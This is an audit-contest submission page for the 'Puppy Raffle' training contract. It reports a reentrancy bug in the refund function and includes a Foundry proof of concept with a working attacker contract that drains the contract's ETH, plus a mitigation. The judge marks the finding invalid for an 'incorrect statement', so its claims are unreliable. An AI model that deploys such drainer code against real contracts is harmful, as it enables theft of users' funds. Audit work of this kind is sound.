Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

Critical Reentrancy in PuppyRaffle::refund

sidanaarmaan2003

[Critical] Reentrancy in PuppyRaffle::refund allows an attacker to drain the entire contract balance

Description

The PuppyRaffle::refund function is vulnerable to a classic reentrancy attack. The function allows a player to withdraw their entrance fee, but it performs the external ETH transfer before updating the internal state that tracks the player's presence in the raffle.

The contract uses Address.sendValue to transfer ETH, which forwards a significant amount of gas to the recipient. If the recipient is a malicious smart contract, it can use its receive() or fallback() function to call refund() again. Because the first call has not yet reached the line where the player's index is set to address(0), the second call passes the require check again, leading to multiple withdrawals for a single entrance fee.

Risk

  • Likelihood: High. This is a common and well-documented vulnerability. Any user with basic smart contract knowledge can deploy an attacking contract to exploit this flaw.

  • Impact: Critical. A single attacker can drain the entire ETH balance of the PuppyRaffle contract, stealing the deposits of all other honest participants. This results in a total loss of funds for the protocol.

Root Cause

The vulnerability is caused by a violation of the Checks-Effects-Interactions (CEI) pattern. The "Interaction" (sending ETH) happens before the "Effect" (updating the players array).

// src/PuppyRaffle.sol
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is invalid");
​
@> payable(msg.sender).sendValue(entranceFee); // External Interaction
​
@> players[playerIndex] = address(0); // State Effect (Happens too late)
​
emit RaffleRefunded(playerAddress);
}

Proof of Concept (PoC)

The following Foundry test demonstrates how a malicious contract can enter the raffle and recursively call refund to drain the vault.

// Attacker Contract
contract ReentrancyAttacker {
PuppyRaffle victim;
uint256 entranceFee;
uint256 index;
​
constructor(PuppyRaffle _victim) {
victim = _victim;
entranceFee = victim.entranceFee();
}
​
function attack() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
victim.enterRaffle{value: entranceFee}(p);
index = victim.getActivePlayerIndex(address(this));
victim.refund(index);
}
​
receive() external payable {
if (address(victim).balance >= entranceFee) {
victim.refund(index);
}
}
}
​
// Test Suite
function test_reentrancyRefundDrainsVault() public {
// 1. Honest players enter (3 ETH total in contract)
address[] memory players = new address[](3);
players[0] = address(1); players[1] = address(2); players[2] = address(3);
puppyRaffle.enterRaffle{value: 3 ether}(players);
​
// 2. Attacker enters and triggers reentrancy
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), 1 ether);
attacker.attack();
​
// 3. Verification: Raffle balance is stolen
assertEq(address(puppyRaffle).balance, 0);
console.log("Raffle balance after attack: ", address(puppyRaffle).balance);
}

Recommended Mitigation

The most effective way to prevent reentrancy is to follow the Checks-Effects-Interactions (CEI) pattern. Update the state (mark the player as refunded) before performing the external ETH transfer.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is invalid");
​
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
​
emit RaffleRefunded(playerAddress);
}

Additionally, consider adding a ReentrancyGuard from OpenZeppelin and applying the nonReentrant modifier to all functions that handle ETH transfers.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!